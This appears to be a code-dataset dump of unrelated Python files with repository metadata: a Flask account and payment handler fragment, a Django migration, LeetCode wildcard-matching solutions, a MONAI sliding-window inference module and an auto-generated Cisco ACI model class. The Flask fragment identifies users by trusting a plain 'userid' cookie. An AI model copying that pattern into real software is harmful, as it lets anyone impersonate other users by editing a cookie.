userid = addUserAccount('', '', email, '')
mm={'error':None, 'status':'ok'}
mm['next_url'] = '/profile'
if mm['error'] is not None:
mm['status'] = 'error'
mm['userid'] = userid
resp = make_response(jsonify(mm))
resp.headers['Content-Type'] = "application/json"
return resp
def update_account():
data = request.json
print data
token = data.get('token')
provider = 'braintree'
userid = read_cookie()
# retrieve information
name = data.get('name').split()
firstname = name[0]
lastname = name[1]
phone = data.get('tel')
user = getUser(userid)
email = user[2]
userid = updateUserAccount(userid, firstname, lastname, email, phone)
addPayment(userid, token, provider)
mm={'error':None, 'status':'ok'}
mm['next_url'] = '/add_contact'
if mm['error'] is not None:
mm['status'] = 'error'
resp = make_response(jsonify(mm))
resp.headers['Content-Type'] = "application/json"
return resp
def update_contacts():
data = request.json
print data
emails = data.get('emails')
userid = read_cookie()
for e in emails:
addFriendByEmail(userid, e)
mm={'error':None, 'status':'ok'}
mm['next_url'] = '/send_money'
resp = make_response(jsonify(mm))
resp.headers['Content-Type'] = "application/json"
return resp
def read_cookie():
return request.cookies.get('userid') | [
"elaine.ou@gmail.com"
] | elaine.ou@gmail.com |
4c93cf5084fb9a5d19b1bb301af8711a8767007c | 75169b83f2b975bff8baf61f0cf1264cf4b71a28 | /worker/Reversion/model/alert.py | 5d39269c05c0207078a50efc165d26a768c682bb | [] | no_license | Pangpang2/Python | a27024587ae51923954deefaaff304a26e5a944f | 0b3bcfbdcaa71253c798090713c052fd397bff3f | refs/heads/master | 2022-12-01T10:03:23.214443 | 2020-08-26T00:21:15 | 2020-08-26T00:21:15 | 290,171,195 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 268 | py |
class Alert(object):
def __init__(self):
self.id = ''
self.description = ''
def to_dictionary(self):
alert_dict = {}
alert_dict['id'] = self.id
alert_dict['description'] = self.description
return alert_dict
| [
"may.li@internetbrands.com"
] | may.li@internetbrands.com |
9d831a96d6db798d73e1650111af5d03adeab6f4 | 89260668655a46278e8f22a5807b1f640fd1490c | /mySite/records/migrations/0014_auto_20170529_0026.py | 0f52f66b638d5bcb22cd6f408f1e76344fa3d40d | [] | no_license | happychallenge/mySite | 926136859c5b49b7fd8baff09b26f375b425ab30 | ddbda42d5d3b9c380a594d81a27875b4ad10358b | refs/heads/master | 2020-12-30T13:28:31.018611 | 2017-11-08T02:52:18 | 2017-11-08T02:52:18 | 91,218,922 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,759 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11 on 2017-05-29 00:26
from __future__ import unicode_literals
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('records', '0013_auto_20170525_2329'),
]
operations = [
migrations.CreateModel(
name='Evidence',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created_at', models.DateTimeField(auto_now_add=True)),
('created_user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
('news', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='records.News')),
('personevent', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='records.PersonEvent')),
],
),
migrations.AlterUniqueTogether(
name='eventnews',
unique_together=set([]),
),
migrations.RemoveField(
model_name='eventnews',
name='created_user',
),
migrations.RemoveField(
model_name='eventnews',
name='event',
),
migrations.RemoveField(
model_name='eventnews',
name='news',
),
migrations.DeleteModel(
name='EventNews',
),
migrations.AlterUniqueTogether(
name='evidence',
unique_together=set([('personevent', 'news')]),
),
]
| [
"happychallenge@outlook.com"
] | happychallenge@outlook.com |
0805fbf1572f603152c9f49194310966efe9515c | 846906de1e1ce1579ed8c0bc6ba3454f87791856 | /NetworkBehaviour/Logic/TensorflowModules/TensorflowBehaviour.py | 262439e6a4403a4cd3f4d29f39b56674682f1f88 | [] | no_license | abahmer/PymoNNto | 48d1a53d660c6da7f45048e61f6bd8954f24ecaf | 17e117c971c1faa44205a69fc095a392aa7a7b9a | refs/heads/master | 2023-03-21T07:40:42.336567 | 2021-03-08T12:28:46 | 2021-03-08T12:28:46 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 324 | py | from PymoNNto.NetworkCore.Behaviour import *
import numpy as np
import os
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
import tensorflow as tf
class TensorflowBehaviour(Behaviour):
def set_variables(self, neurons):
if not hasattr(neurons, 'tf'):
neurons.tf = tf
super().set_variables(neurons)
| [
"mv15go@gmail.com"
] | mv15go@gmail.com |
e2eb4050d6367ccba352643e8999a26590f0a3d0 | 453ca12d912f6498720152342085636ba00c28a1 | /leetcode/backtracking/python/wildcard_matching_leetcode.py | 67c7f721cab4c6eab9cd03006a6c461377f9bfb3 | [] | no_license | yanbinkang/problem-bank | f9aa65d83a32b830754a353b6de0bb7861a37ec0 | bf9cdf9ec680c9cdca1357a978c3097d19e634ae | refs/heads/master | 2020-06-28T03:36:49.401092 | 2019-05-20T15:13:48 | 2019-05-20T15:13:48 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,976 | py | """
https://leetcode.com/problems/wildcard-matching/
Implement wildcard pattern matching with support for '?' and '*'.
'?' Matches any single character.
'*' Matches any sequence of characters (including the empty sequence).
The matching should cover the entire input string (not partial).
The function prototype should be:
bool isMatch(const char *s, const char *p)
Some examples:
isMatch("aa","a") => false
isMatch("aa","aa") => true
isMatch("aaa","aa") => false
isMatch("aa", "*") => true
isMatch("aa", "a*") => true
isMatch("ab", "?*") => true
isMatch("aab", "c*a*b") => false
"""
"""
ref: https://longwayjade.wordpress.com/2015/04/26/leetcode-recursion-dp-greedy-wildcard-matching/
O(p * s) where p and s are the lengths of the pattern and input strings.
"""
def is_match_2(s, p):
i, j = 0, 0
asterick, match = -1, -1
"""
asterick: once we found a star, we want to record the place of the star
match: once we found a star, we want to start to match the rest of the pattern with the string, starting from the match position. This is for remembering the place where we need to start
"""
# we check and match every char in s
while i < len(s):
# we are not currently at '*'. s and p match or p == '?'
if j < len(p) and (s[i] == p[j] or p[j] == '?'):
i += 1
j += 1
# we are currently at a '*'
elif j < len(p) and p[j] == '*':
match = i
asterick = j
j += 1
# they do not match, we are not currently at '*' but the last match is '*'
elif asterick >= 0:
match += 1
i = match
j = asterick + 1
# they do not match, we are not at '*' and last matched is not a '*', then the answer is false
else:
return False
# when we finish matching all chars in s, is pattern also finished? we cound only allow '*' at the rest of pattern
while j < len(p) and p[j] == '*':
j += 1
return j == len(p)
def is_match_1(s, p):
return is_match_rec(s, p, 0, 0)
def is_match_rec(text, pattern, i, j):
if i == len(text) and j == len(pattern):
return True
if j < len(pattern) and pattern[j] == '*':
while j < len(pattern) - 1 and pattern[j + 1] == '*':
j += 1
for k in range(i, len(text) + 1):
if is_match_rec(text, pattern, k, j + 1):
return True
# if k >= len(text):
# return False
# if pattern[j] != '*' and k != j:
# return False
return False
elif i < len(text) and j < len(pattern) and\
(pattern[j] == '?' or pattern[j] == text[i]):
return is_match_rec(text, pattern, i + 1, j + 1)
return False
def is_match(s, p):
string = list(s)
pattern = list(p)
write_index = 0
is_first = True
# replace multiple * with one *
# e.g a**b***c --> a*b*c
for i in range(len(pattern)):
if pattern[i] == '*':
if is_first:
pattern[write_index] = pattern[i]
write_index += 1
is_first = False
else:
pattern[write_index] = pattern[i]
write_index += 1
is_first = True
table = [[False for i in range(write_index + 1)] for j in range(len(s) + 1)]
if write_index > 0 and pattern[0] == '*':
table[0][1] = True
table[0][0] = True
for i in range(1, len(table)): # string
for j in range(1, len(table[0])): # pattern
if pattern[j -1] == '?' or string[i - 1] == pattern[j - 1]:
table[i][j] = table[i - 1][j - 1]
elif pattern[j - 1] == '*':
table[i][j] = table[i - 1][j] or table[i][j - 1]
# print table
return table[-1][-1]
# print is_match('xaylmz', 'x?y*z')
# print is_match('aab', 'c*a*b')
# print is_match('aaa','aa')
# print is_match('aa', '*')
# print is_match('aa','a')
# print is_match('aa','aa')
# print is_match('ab', '?*')
# print is_match('aa', 'a*')
# print is_match('', '')
# print is_match('zacabz', '*a?b*')
# print('\n')
# print is_match_1('xaylmz', 'x?y*z')
# print is_match_1('aab', 'c*a*b')
# print is_match_1('aaa','aa')
# print is_match_1('aa', '*')
# print is_match_1('aa','a')
# print is_match_1('aa','aa')
# print is_match_1('ab', '?*')
# print is_match_1('aa', 'a*')
# print is_match_1('', '')
# print is_match_1('zacabz', '*a?b*')
# print is_match_1('babaaababaabababbbbbbaabaabbabababbaababbaaabbbaaab', '***bba**a*bbba**aab**b')
# print('\n')
print is_match_2('xaylmz', 'x?y*z')
print is_match_2('aab', 'c*a*b')
print is_match_2('aaa','aa')
print is_match_2('aa', '*')
print is_match_2('aa','a')
print is_match_2('aa','aa')
print is_match_2('ab', '?*')
print is_match_2('aa', 'a*')
print is_match_2('', '')
print is_match_2('zacabz', '*a?b*')
print is_match_2('babaaababaabababbbbbbaabaabbabababbaababbaaabbbaaab', '***bba**a*bbba**aab**b')
| [
"albert.agram@gmail.com"
] | albert.agram@gmail.com |
ef815d59dad6b7592dd1e4fd7515e8cce1897def | 6189f34eff2831e3e727cd7c5e43bc5b591adffc | /WebMirror/management/rss_parser_funcs/feed_parse_extractMasterpasterWordpressCom.py | 4f0f90aed8ef9c7ad57e152828a2279189a98583 | [
"BSD-3-Clause"
] | permissive | fake-name/ReadableWebProxy | 24603660b204a9e7965cfdd4a942ff62d7711e27 | ca2e086818433abc08c014dd06bfd22d4985ea2a | refs/heads/master | 2023-09-04T03:54:50.043051 | 2023-08-26T16:08:46 | 2023-08-26T16:08:46 | 39,611,770 | 207 | 20 | BSD-3-Clause | 2023-09-11T15:48:15 | 2015-07-24T04:30:43 | Python | UTF-8 | Python | false | false | 647 | py | def extractMasterpasterWordpressCom(item):
'''
Parser for 'masterpaster.wordpress.com'
'''
vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
if not (chp or vol) or "preview" in item['title'].lower():
return None
tagmap = [
('shinmai', 'Shinmai Maou no Keiyakusha', 'translated'),
('PRC', 'PRC', 'translated'),
('Loiterous', 'Loiterous', 'oel'),
]
for tagname, name, tl_type in tagmap:
if tagname in item['tags']:
return buildReleaseMessageWithType(item, name, vol, chp, frag=frag, postfix=postfix, tl_type=tl_type)
return False | [
"something@fake-url.com"
] | something@fake-url.com |
bbdfd97c6d54ce1442ecff7b01a9b00e9c63b75a | 8bb950ffb6036dc89e78d89cb5dd633d8878ab08 | /Phys_Seg/predict_case.py | f89c8f5f57db5001dba2b8125cb781f206090803 | [
"Apache-2.0"
] | permissive | pedrob37/Phys_Seg | 0d8a2be4188cf9a33cce079a8c99da54acaafda6 | 7adc65d7b228b3a5702acfa9e6d0494d6b4c2dee | refs/heads/main | 2023-07-31T06:46:02.617742 | 2021-10-01T17:53:09 | 2021-10-01T18:23:18 | 387,182,741 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 11,857 | py | import torch
import numpy as np
from typing import Callable, Union
import torch.nn.functional as F
from monai.data.utils import compute_importance_map, dense_patch_slices, get_valid_patch_size
from monai.utils import BlendMode, PytorchPadMode, fall_back_tuple
# def pad_patient_3D(patient, shape_must_be_divisible_by=16, min_size=None):
# if not (isinstance(shape_must_be_divisible_by, list) or isinstance(shape_must_be_divisible_by, tuple)):
# shape_must_be_divisible_by = [shape_must_be_divisible_by] * 3
# shp = patient.shape
# new_shp = [shp[0] + shape_must_be_divisible_by[0] - shp[0] % shape_must_be_divisible_by[0],
# shp[1] + shape_must_be_divisible_by[1] - shp[1] % shape_must_be_divisible_by[1],
# shp[2] + shape_must_be_divisible_by[2] - shp[2] % shape_must_be_divisible_by[2]]
# for i in range(len(shp)):
# if shp[i] % shape_must_be_divisible_by[i] == 0:
# new_shp[i] -= shape_must_be_divisible_by[i]
# if min_size is not None:
# new_shp = np.max(np.vstack((np.array(new_shp), np.array(min_size))), 0)
# return reshape_by_padding_upper_coords(patient, new_shp, 0), shp
# def reshape_by_padding_upper_coords(image, new_shape, pad_value=None):
# shape = tuple(list(image.shape))
# new_shape = tuple(np.max(np.concatenate((shape, new_shape)).reshape((2,len(shape))), axis=0))
# if pad_value is None:
# if len(shape) == 2:
# pad_value = image[0,0]
# elif len(shape) == 3:
# pad_value = image[0, 0, 0]
# else:
# raise ValueError("Image must be either 2 or 3 dimensional")
# res = np.ones(list(new_shape), dtype=image.dtype) * pad_value
# if len(shape) == 2:
# res[0:0+int(shape[0]), 0:0+int(shape[1])] = image
# elif len(shape) == 3:
# res[0:0+int(shape[0]), 0:0+int(shape[1]), 0:0+int(shape[2])] = image
# return res
def image_preprocessing(patient_data):
if len(patient_data.shape) < 5:
shape_mismatch = 5 - len(patient_data.shape)
patient_data = patient_data[(*([None] * shape_mismatch), ...)]
# patient_data = patient_data.clone()
p_mean, p_std = patient_data.mean(), patient_data.std()
patient_data = patient_data - p_mean
patient_data = patient_data / p_std
return patient_data
def physics_preprocessing(physics_input, experiment_type):
physics_input = torch.from_numpy(physics_input[None, :])
if experiment_type == 'MPRAGE':
TI_physics = physics_input[:, 0]
# print(physics_input.shape)
TR_physics = physics_input[:, 0] + physics_input[:, 1]
TI_expo_physics = torch.exp(-physics_input[:, 0])
TR_expo_physics = torch.exp(-physics_input[:, 0] - physics_input[:, 1])
overall_physics = torch.cat((torch.stack((TI_physics,
TR_physics), dim=1),
torch.stack((TI_expo_physics,
TR_expo_physics), dim=1)), dim=1)
elif experiment_type == 'SPGR':
TR_expo_params = torch.unsqueeze(torch.exp(-physics_input[:, 0]), dim=1)
TE_expo_params = torch.unsqueeze(torch.exp(-physics_input[:, 1]), dim=1)
FA_sin_params = torch.unsqueeze(torch.sin(physics_input[:, 2] * 3.14159265 / 180), dim=1)
overall_physics = torch.cat((physics_input, torch.stack((TR_expo_params, TE_expo_params, FA_sin_params), dim=1).squeeze()), dim=1)
return overall_physics.float()
def custom_sliding_window_inference(
inputs: Union[torch.Tensor, tuple],
roi_size,
sw_batch_size: int,
predictor: Callable,
overlap: float = 0.25,
mode: Union[BlendMode, str] = BlendMode.CONSTANT,
padding_mode: Union[PytorchPadMode, str] = PytorchPadMode.CONSTANT,
cval=0,
uncertainty_flag=False,
num_loss_passes=20
):
"""
Sliding window inference on `inputs` with `predictor`.
When roi_size is larger than the inputs' spatial size, the input image are padded during inference.
To maintain the same spatial sizes, the output image will be cropped to the original input size.
Args:
inputs: input image to be processed (assuming NCHW[D])
roi_size (list, tuple): the spatial window size for inferences.
When its components have None or non-positives, the corresponding inputs dimension will be used.
if the components of the `roi_size` are non-positive values, the transform will use the
corresponding components of img size. For example, `roi_size=(32, -1)` will be adapted
to `(32, 64)` if the second spatial dimension size of img is `64`.
sw_batch_size: the batch size to run window slices.
predictor: given input tensor `patch_data` in shape NCHW[D], `predictor(patch_data)`
should return a prediction with the same spatial shape and batch_size, i.e. NMHW[D];
where HW[D] represents the patch spatial size, M is the number of output channels, N is `sw_batch_size`.
overlap: Amount of overlap between scans.
mode: {``"constant"``, ``"gaussian"``}
How to blend output of overlapping windows. Defaults to ``"constant"``.
- ``"constant``": gives equal weight to all predictions.
- ``"gaussian``": gives less weight to predictions on edges of windows.
padding_mode: {``"constant"``, ``"reflect"``, ``"replicate"``, ``"circular"``}
Padding mode when ``roi_size`` is larger than inputs. Defaults to ``"constant"``
See also: https://pytorch.org/docs/stable/nn.functional.html#pad
cval: fill value for 'constant' padding mode. Default: 0
Raises:
NotImplementedError: inputs must have batch_size=1.
Note:
- input must be channel-first and have a batch dim, support both spatial 2D and 3D.
- currently only supports `inputs` with batch_size=1.
"""
assert 0 <= overlap < 1, "overlap must be >= 0 and < 1."
# determine image spatial size and batch size
# Note: all input images must have the same image size and batch size
inputs_type = type(inputs)
if inputs_type == tuple:
phys_inputs = inputs[1]
inputs = inputs[0]
num_spatial_dims = len(inputs.shape) - 2
image_size_ = list(inputs.shape[2:])
batch_size = inputs.shape[0]
# TODO: Enable batch sizes > 1 in future
if batch_size > 1:
raise NotImplementedError("inputs must have batch_size=1.")
roi_size = fall_back_tuple(roi_size, image_size_)
# in case that image size is smaller than roi size
image_size = tuple(max(image_size_[i], roi_size[i]) for i in range(num_spatial_dims))
pad_size = []
for k in range(len(inputs.shape) - 1, 1, -1):
diff = max(roi_size[k - 2] - inputs.shape[k], 0)
half = diff // 2
pad_size.extend([half, diff - half])
inputs = F.pad(inputs, pad=pad_size, mode=PytorchPadMode(padding_mode).value, value=cval)
scan_interval = _get_scan_interval(image_size, roi_size, num_spatial_dims, overlap)
# Store all slices in list
slices = dense_patch_slices(image_size, roi_size, scan_interval)
# print(f'The slices are {slices}')
slice_batches = []
for slice_index in range(0, len(slices), sw_batch_size):
slice_index_range = range(slice_index, min(slice_index + sw_batch_size, len(slices)))
input_slices = []
for curr_index in slice_index_range:
curr_slice = slices[curr_index]
if len(curr_slice) == 3:
input_slices.append(inputs[0, :, curr_slice[0], curr_slice[1], curr_slice[2]])
else:
input_slices.append(inputs[0, :, curr_slice[0], curr_slice[1]])
slice_batches.append(torch.stack(input_slices))
# Perform predictions
output_rois = list()
for data in slice_batches:
if not uncertainty_flag and inputs_type == tuple:
seg_prob, _ = predictor(data, phys_inputs) # batched patch segmentation
output_rois.append(seg_prob)
elif inputs_type != tuple:
seg_prob, _ = predictor(data) # batched patch segmentation
output_rois.append(seg_prob)
# stitching output image
output_classes = output_rois[0].shape[1]
output_shape = [batch_size, output_classes] + list(image_size)
# Create importance map
importance_map = compute_importance_map(get_valid_patch_size(image_size, roi_size), mode=mode, device=inputs.device)
# allocate memory to store the full output and the count for overlapping parts
output_image = torch.zeros(output_shape, dtype=torch.float32, device=inputs.device)
count_map = torch.zeros(output_shape, dtype=torch.float32, device=inputs.device)
for window_id, slice_index in enumerate(range(0, len(slices), sw_batch_size)):
slice_index_range = range(slice_index, min(slice_index + sw_batch_size, len(slices)))
# store the result in the proper location of the full output. Apply weights from importance map.
for curr_index in slice_index_range:
curr_slice = slices[curr_index]
if len(curr_slice) == 3:
# print(output_image.shape, curr_slice, importance_map.shape, output_rois[window_id].shape)
output_image[0, :, curr_slice[0], curr_slice[1], curr_slice[2]] += (
importance_map * output_rois[window_id][curr_index - slice_index, :]
)
count_map[0, :, curr_slice[0], curr_slice[1], curr_slice[2]] += importance_map
else:
output_image[0, :, curr_slice[0], curr_slice[1]] += (
importance_map * output_rois[window_id][curr_index - slice_index, :]
)
count_map[0, :, curr_slice[0], curr_slice[1]] += importance_map
# account for any overlapping sections
output_image /= count_map
if num_spatial_dims == 3:
return output_image[
...,
pad_size[4]: image_size_[0] + pad_size[4],
pad_size[2]: image_size_[1] + pad_size[2],
pad_size[0]: image_size_[2] + pad_size[0],
]
return output_image[
..., pad_size[2]: image_size_[0] + pad_size[2], pad_size[0]: image_size_[1] + pad_size[0]
] # 2D
def _get_scan_interval(image_size, roi_size, num_spatial_dims: int, overlap: float):
assert len(image_size) == num_spatial_dims, "image coord different from spatial dims."
assert len(roi_size) == num_spatial_dims, "roi coord different from spatial dims."
scan_interval = []
for i in range(num_spatial_dims):
if roi_size[i] == image_size[i]:
scan_interval.append(int(roi_size[i]))
else:
# scan interval is (1-overlap)*roi_size
scan_interval.append(int(roi_size[i] * (1 - overlap)))
return tuple(scan_interval)
def predict_phys_seg(net, patient_data, processed_physics, main_device):
with torch.no_grad():
# Pass data to GPU
if main_device == 'cpu':
pass
else:
# tensor = torch.from_numpy(array)
patient_data = torch.from_numpy(patient_data).float().cuda(main_device)
# Basic to begin with: Just run with net!
print(patient_data.shape, processed_physics.shape)
if processed_physics is not None:
out = custom_sliding_window_inference(
(patient_data, processed_physics.cuda(main_device)), 160, 1, net, overlap=0.3, mode='gaussian')
else:
out = custom_sliding_window_inference(patient_data, 160, 1, net, overlap=0.3, mode='gaussian')
# Softmax
pred_seg = torch.softmax(out, dim=1)
# Permute and cast to numpy
pred_seg = pred_seg.squeeze().permute(1, 2, 3, 0).cpu().numpy()
return pred_seg
| [
"p.borges.17@ucl.ac.uk"
] | p.borges.17@ucl.ac.uk |
9b1e420a0e4354604283ca8f209c4beef3dcbce4 | 3c000380cbb7e8deb6abf9c6f3e29e8e89784830 | /venv/Lib/site-packages/cobra/modelimpl/fv/rttoepgforepgtoepgtask.py | eb38250be2a5a73454884d50578ab1d72c276477 | [] | no_license | bkhoward/aciDOM | 91b0406f00da7aac413a81c8db2129b4bfc5497b | f2674456ecb19cf7299ef0c5a0887560b8b315d0 | refs/heads/master | 2023-03-27T23:37:02.836904 | 2021-03-26T22:07:54 | 2021-03-26T22:07:54 | 351,855,399 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 18,769 | py | # coding=UTF-8
# **********************************************************************
# Copyright (c) 2013-2020 Cisco Systems, Inc. All rights reserved
# written by zen warriors, do not modify!
# **********************************************************************
from cobra.mit.meta import ClassMeta
from cobra.mit.meta import StatsClassMeta
from cobra.mit.meta import CounterMeta
from cobra.mit.meta import PropMeta
from cobra.mit.meta import Category
from cobra.mit.meta import SourceRelationMeta
from cobra.mit.meta import NamedSourceRelationMeta
from cobra.mit.meta import TargetRelationMeta
from cobra.mit.meta import DeploymentPathMeta, DeploymentCategory
from cobra.model.category import MoCategory, PropCategory, CounterCategory
from cobra.mit.mo import Mo
# ##################################################
class RtToEpgForEpgToEpgTask(Mo):
"""
Mo doc not defined in techpub!!!
"""
meta = ClassMeta("cobra.model.fv.RtToEpgForEpgToEpgTask")
meta.moClassName = "fvRtToEpgForEpgToEpgTask"
meta.rnFormat = "fvRtToEpgForEpgToEpgTask-%(id)s"
meta.category = MoCategory.TASK
meta.label = "None"
meta.writeAccessMask = 0x1
meta.readAccessMask = 0x1
meta.isDomainable = False
meta.isReadOnly = True
meta.isConfigurable = False
meta.isDeletable = False
meta.isContextRoot = False
meta.parentClasses.add("cobra.model.action.LicensemgrSubj")
meta.parentClasses.add("cobra.model.action.StreamelemSubj")
meta.parentClasses.add("cobra.model.action.ObserverSubj")
meta.parentClasses.add("cobra.model.action.SnmpdSubj")
meta.parentClasses.add("cobra.model.action.VmmmgrSubj")
meta.parentClasses.add("cobra.model.action.AnalyticsSubj")
meta.parentClasses.add("cobra.model.action.ScripthandlerSubj")
meta.parentClasses.add("cobra.model.action.ConfelemSubj")
meta.parentClasses.add("cobra.model.action.GoobserverelemSubj")
meta.parentClasses.add("cobra.model.action.EventmgrSubj")
meta.parentClasses.add("cobra.model.action.OspaelemSubj")
meta.parentClasses.add("cobra.model.action.VtapSubj")
meta.parentClasses.add("cobra.model.action.GohealthelemSubj")
meta.parentClasses.add("cobra.model.action.OshSubj")
meta.parentClasses.add("cobra.model.action.DhcpdSubj")
meta.parentClasses.add("cobra.model.action.OpflexelemSubj")
meta.parentClasses.add("cobra.model.action.DomainmgrSubj")
meta.parentClasses.add("cobra.model.action.DbgrelemSubj")
meta.parentClasses.add("cobra.model.action.CloudpeSubj")
meta.parentClasses.add("cobra.model.action.PlgnhandlerSubj")
meta.parentClasses.add("cobra.model.action.TopomgrSubj")
meta.parentClasses.add("cobra.model.action.VleafelemSubj")
meta.parentClasses.add("cobra.model.action.NxosmockSubj")
meta.parentClasses.add("cobra.model.action.DbgrSubj")
meta.parentClasses.add("cobra.model.action.PlatformmgrSubj")
meta.parentClasses.add("cobra.model.action.AppliancedirectorSubj")
meta.parentClasses.add("cobra.model.action.OpflexpSubj")
meta.parentClasses.add("cobra.model.action.BootmgrSubj")
meta.parentClasses.add("cobra.model.action.AeSubj")
meta.parentClasses.add("cobra.model.action.GoeventelemSubj")
meta.parentClasses.add("cobra.model.action.GoconnectorSubj")
meta.parentClasses.add("cobra.model.action.PolicymgrSubj")
meta.parentClasses.add("cobra.model.action.ExtXMLApiSubj")
meta.parentClasses.add("cobra.model.action.ObserverelemSubj")
meta.parentClasses.add("cobra.model.action.PolicyelemSubj")
meta.parentClasses.add("cobra.model.action.PolicydistSubj")
meta.parentClasses.add("cobra.model.action.IdmgrSubj")
meta.parentClasses.add("cobra.model.action.EdmgrSubj")
meta.superClasses.add("cobra.model.action.RInst")
meta.superClasses.add("cobra.model.pol.ComplElem")
meta.superClasses.add("cobra.model.task.Inst")
meta.superClasses.add("cobra.model.action.Inst")
meta.rnPrefixes = [
('fvRtToEpgForEpgToEpgTask-', True),
]
prop = PropMeta("str", "childAction", "childAction", 4, PropCategory.CHILD_ACTION)
prop.label = "None"
prop.isImplicit = True
prop.isAdmin = True
prop._addConstant("deleteAll", "deleteall", 16384)
prop._addConstant("deleteNonPresent", "deletenonpresent", 8192)
prop._addConstant("ignore", "ignore", 4096)
meta.props.add("childAction", prop)
prop = PropMeta("str", "data", "data", 52, PropCategory.REGULAR)
prop.label = "Data"
prop.isImplicit = True
prop.isAdmin = True
prop.range = [(0, 512)]
meta.props.add("data", prop)
prop = PropMeta("str", "descr", "descr", 33, PropCategory.REGULAR)
prop.label = "Description"
prop.isImplicit = True
prop.isAdmin = True
prop.range = [(0, 128)]
prop.regex = ['[a-zA-Z0-9\\!#$%()*,-./:;@ _{|}~?&+]+']
meta.props.add("descr", prop)
prop = PropMeta("str", "dn", "dn", 1, PropCategory.DN)
prop.label = "None"
prop.isDn = True
prop.isImplicit = True
prop.isAdmin = True
prop.isCreateOnly = True
meta.props.add("dn", prop)
prop = PropMeta("str", "endTs", "endTs", 15575, PropCategory.REGULAR)
prop.label = "None"
prop.isImplicit = True
prop.isAdmin = True
prop.defaultValue = 0
prop.defaultValueStr = "never"
prop._addConstant("never", "never", 0)
meta.props.add("endTs", prop)
prop = PropMeta("str", "fail", "fail", 46, PropCategory.REGULAR)
prop.label = "Fail"
prop.isImplicit = True
prop.isAdmin = True
meta.props.add("fail", prop)
prop = PropMeta("str", "flags", "flags", 30392, PropCategory.REGULAR)
prop.label = "Flags"
prop.isImplicit = True
prop.isAdmin = True
meta.props.add("flags", prop)
prop = PropMeta("str", "id", "id", 25948, PropCategory.REGULAR)
prop.label = "ID"
prop.isConfig = True
prop.isAdmin = True
prop.isCreateOnly = True
prop.isNaming = True
prop.defaultValue = 0
prop.defaultValueStr = "none"
prop._addConstant("DbgacEpgForEpgToEpg", "dbgacepgforepgtoepg", 2267)
prop._addConstant("none", "none", 0)
meta.props.add("id", prop)
prop = PropMeta("str", "invErrCode", "invErrCode", 49, PropCategory.REGULAR)
prop.label = "Remote Error Code"
prop.isImplicit = True
prop.isAdmin = True
prop._addConstant("ERR-FILTER-illegal-format", None, 1140)
prop._addConstant("ERR-FSM-no-such-state", None, 1160)
prop._addConstant("ERR-HTTP-set-error", None, 1551)
prop._addConstant("ERR-HTTPS-set-error", None, 1552)
prop._addConstant("ERR-MO-CONFIG-child-object-cant-be-configured", None, 1130)
prop._addConstant("ERR-MO-META-no-such-object-class", None, 1122)
prop._addConstant("ERR-MO-PROPERTY-no-such-property", None, 1121)
prop._addConstant("ERR-MO-PROPERTY-value-out-of-range", None, 1120)
prop._addConstant("ERR-MO-access-denied", None, 1170)
prop._addConstant("ERR-MO-deletion-rule-violation", None, 1107)
prop._addConstant("ERR-MO-duplicate-object", None, 1103)
prop._addConstant("ERR-MO-illegal-containment", None, 1106)
prop._addConstant("ERR-MO-illegal-creation", None, 1105)
prop._addConstant("ERR-MO-illegal-iterator-state", None, 1100)
prop._addConstant("ERR-MO-illegal-object-lifecycle-transition", None, 1101)
prop._addConstant("ERR-MO-naming-rule-violation", None, 1104)
prop._addConstant("ERR-MO-object-not-found", None, 1102)
prop._addConstant("ERR-MO-resource-allocation", None, 1150)
prop._addConstant("ERR-aaa-config-modify-error", None, 1520)
prop._addConstant("ERR-acct-realm-set-error", None, 1513)
prop._addConstant("ERR-add-ctrlr", None, 1574)
prop._addConstant("ERR-admin-passwd-set", None, 1522)
prop._addConstant("ERR-api", None, 1571)
prop._addConstant("ERR-auth-issue", None, 1548)
prop._addConstant("ERR-auth-realm-set-error", None, 1514)
prop._addConstant("ERR-authentication", None, 1534)
prop._addConstant("ERR-authorization-required", None, 1535)
prop._addConstant("ERR-connect", None, 1572)
prop._addConstant("ERR-create-domain", None, 1562)
prop._addConstant("ERR-create-keyring", None, 1560)
prop._addConstant("ERR-create-role", None, 1526)
prop._addConstant("ERR-create-user", None, 1524)
prop._addConstant("ERR-delete-domain", None, 1564)
prop._addConstant("ERR-delete-role", None, 1528)
prop._addConstant("ERR-delete-user", None, 1523)
prop._addConstant("ERR-domain-set-error", None, 1561)
prop._addConstant("ERR-http-initializing", None, 1549)
prop._addConstant("ERR-incompat-ctrlr-version", None, 1568)
prop._addConstant("ERR-internal-error", None, 1540)
prop._addConstant("ERR-invalid-args", None, 1569)
prop._addConstant("ERR-invalid-delimiter", None, 1589)
prop._addConstant("ERR-invalid-domain", None, 1588)
prop._addConstant("ERR-invalid-domain-name", None, 1582)
prop._addConstant("ERR-ldap-delete-error", None, 1510)
prop._addConstant("ERR-ldap-get-error", None, 1509)
prop._addConstant("ERR-ldap-group-modify-error", None, 1518)
prop._addConstant("ERR-ldap-group-set-error", None, 1502)
prop._addConstant("ERR-ldap-set-error", None, 1511)
prop._addConstant("ERR-missing-method", None, 1546)
prop._addConstant("ERR-modify-ctrlr-access", None, 1567)
prop._addConstant("ERR-modify-ctrlr-dvs-version", None, 1576)
prop._addConstant("ERR-modify-ctrlr-rootcont", None, 1575)
prop._addConstant("ERR-modify-ctrlr-scope", None, 1573)
prop._addConstant("ERR-modify-ctrlr-trig-inventory", None, 1577)
prop._addConstant("ERR-modify-domain", None, 1563)
prop._addConstant("ERR-modify-domain-encapmode", None, 1581)
prop._addConstant("ERR-modify-domain-enfpref", None, 1578)
prop._addConstant("ERR-modify-domain-mcastpool", None, 1579)
